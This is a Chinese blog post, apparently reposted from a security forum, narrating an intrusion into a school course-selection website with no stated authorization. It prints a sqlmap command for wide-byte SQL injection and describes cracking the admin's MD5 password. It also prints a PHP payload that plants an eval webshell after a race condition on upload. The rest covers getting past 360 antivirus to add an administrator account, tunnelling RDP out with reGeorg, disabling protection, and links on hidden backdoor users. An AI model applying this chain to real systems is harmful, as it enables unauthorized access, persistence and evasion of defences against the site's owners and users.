记一次简单渗透
2021-05-06 10:55:26 Author: xz.aliyun.com(查看原文) 阅读量:321 收藏

之前对渗透这方面的学习一直只是学到了Getshell为止,但是其实渗透可以说Getshell仅仅是一个开端,接下去的还有远程连接,域渗透等领域,这次刚好渗透到了某网站,决定以该网站为例,看看能不能进行一次相对完整的渗透历程

该网站是某校某选课网站,首先先用扫描器扫描一下网站,运气很好,居然扫出了一个注入,一看,原来是个宽字节注入

简单测了一下,发现并没有什么过滤,那就常规操作,用SQLmap跑一下

python2 sqlmap.py -u "http://xxx.xx.xx.xx/aaa/bbb.php?cid=118" --tamper=unmagicquotes

接下来便是爆库,爆表,爆列,爆值等常规操作。
获取Admin表中的账号密码,虽说密码是md5加密的了,但是去cmd5平台上一查,还是很方便的进入了后台

接下来便是寻求Getshell的机会了

注意到这里有个上传文件的地方,从源码中可以看到是Fckeditor编辑器
从网上搜索相关的漏洞,首先先查看版本

发现是2.6.6版本的,遗憾的是只能找到2.6.6asp版本的洞,PHP版本的并不能找到相关的漏洞,而用了几个EXP去试试运气也都碰壁了,渗透本来到此就受阻
但是突然发现还有一个上传学生名单的接口

测试了一下,只有一个简单的前端认证,并且用burpsuite一看,还有了惊喜的发现

文件不仅上传成功了,并且还返回了相应的路径,当下便想到来连shell了,但当我想来连之时,却发现文件被删了,由文件路径里面有个temp,一下子就想到后端肯定写了一个自动清空temp目录的函数,但是解决思路也是很明确的,就是条件竞争嘛,通过多线程发包的方法,来实现一定时间内的文件访问
这里我将要发包的文件改为:

<?php file_put_contents('../success.php',"<?php phpinfo();@eval(\$_POST['a']); ?>"); ?>

只要我们能访问到它一次,这个程序就会自动在父目录里面写入一个shell,也就实现了跳出temp目录的写shell了。
用burpsuite的intruder模块不断发包,再访问我们上传的文件,便实现了成功写shell的目的,如图,Getshell:

systeminfo查看系统相关信息

netstat -ano查看开放的端口

可以看到3389端口是打开的,也就是可以进行远程连接
whoami查看当前用户

远程连接

可以看到是system权限,本来我以为大功告成,接下来就是创建管理员用户,进行远程连接之时,但是发现无论如何都无法把用户添加进管理员组
在网上查了很多资料,有人说是可能有杀毒软件。tasklist一看,果然有360
那么问题到这里就只有三条路了:
1. 杀掉360,看看能不能利用system的高权限杀掉360
2. 得到其他管理员账户的密码或者密码的hash值,利用其他管理员的账户进行登录
2. 绕过360创建一个管理员账号

我对这三种情况都进行了尝试:

  • 方法1:我尝试利用taskkill来杀掉360的进程,但是始终报错,网上的资料五花八门,有的说system权限可以用taskkill来关闭360,也有的说360的主动防御进程(ZhuDongFangYu.exe)是在系统Ring0层,即使system权限也无法用taskkill来关掉,至少在这次渗透中,我渗透的机器,是没办法直接用taskkill来关掉360进程的,包括网上所讲的sc delete方法在这台机子上也是行不通的(会被拦截),至少现在看起来这条路堵死了
  • 方法2:当我上传Quarks PwDump.exe和各种软件时,无一例外都会被360拦截,看起来这条路也堵死了
  • 方法3:方法3就是我们最后的希望了,从网上看到资料说system权限下可以用Windows API的方法来创建管理员账户,而这种方法360不会拦截,具体可以参见这篇文章:
    【编程】创建用户,并添加至管理组
    但是比较蛋疼的一点是我电脑没有VS,编译不了这个文件,而宿友也都没有一个人安装的(毕竟他实在是太大了)
    好在我在github上找到了一个别人编译好的版本
    https://github.com/cckuailong/netuser
    运行了一下,成功添加用户

    那么就只剩最后一步了,进行远程连接,但是当我想直接连接的时候,发现居然连不上,用nmap扫了一下端口,发现3389没有开启,但是上面的netstat -ano显示3389是有开启的,那就只能说明3389端口是开在内网的,我们得进行一下内网穿透,把流量转发出来,使用reGeorg进行内网穿透。

将tunnel.nosocket.php上传至web目录(这里不能上传tunnel.php,php<5.3不能正常使用tunnel.php)
访问目标文件:

说明配置正常,关于reGeorg的使用可以去看这几篇文章
内网渗透--reGeorg+Proxifier
绕过360创建用户登陆内网3389实战记录
最后,我们就能成功的使用远程连接了,上了远程连接后,首先退出360所有防护,为接下来的进一步渗透做准备

在这里,还看到了天师的一篇文章,记载了如何隐藏添加的后门,获益匪浅
windows渗透中后门用户的添加方法探究
这次的渗透就先到这里,接下来的域渗透,就等以后有时间再来学习和钻研了。

这是我第一次进行后Getshell的渗透,写的可能很啰嗦并且很LOW,但是主要目的还是想让我自己记住这一此渗透学习到的知识,等以后有时间了再来继续进行下一步的域渗透

一次windows2008的提权过程
Windows服务器SYSTEM权限Webshell无法添加3389账户情况突破总结
Windows渗透基础大全
内网渗透初识—信息收集
【编程】创建用户,并添加至管理组
绕过360创建用户登陆内网3389实战记录
windows渗透中后门用户的添加方法探究
Windows提权建立Administrator的影子账户


文章来源: http://xz.aliyun.com/t/9500
如有侵权请联系:admin#unsafe.sh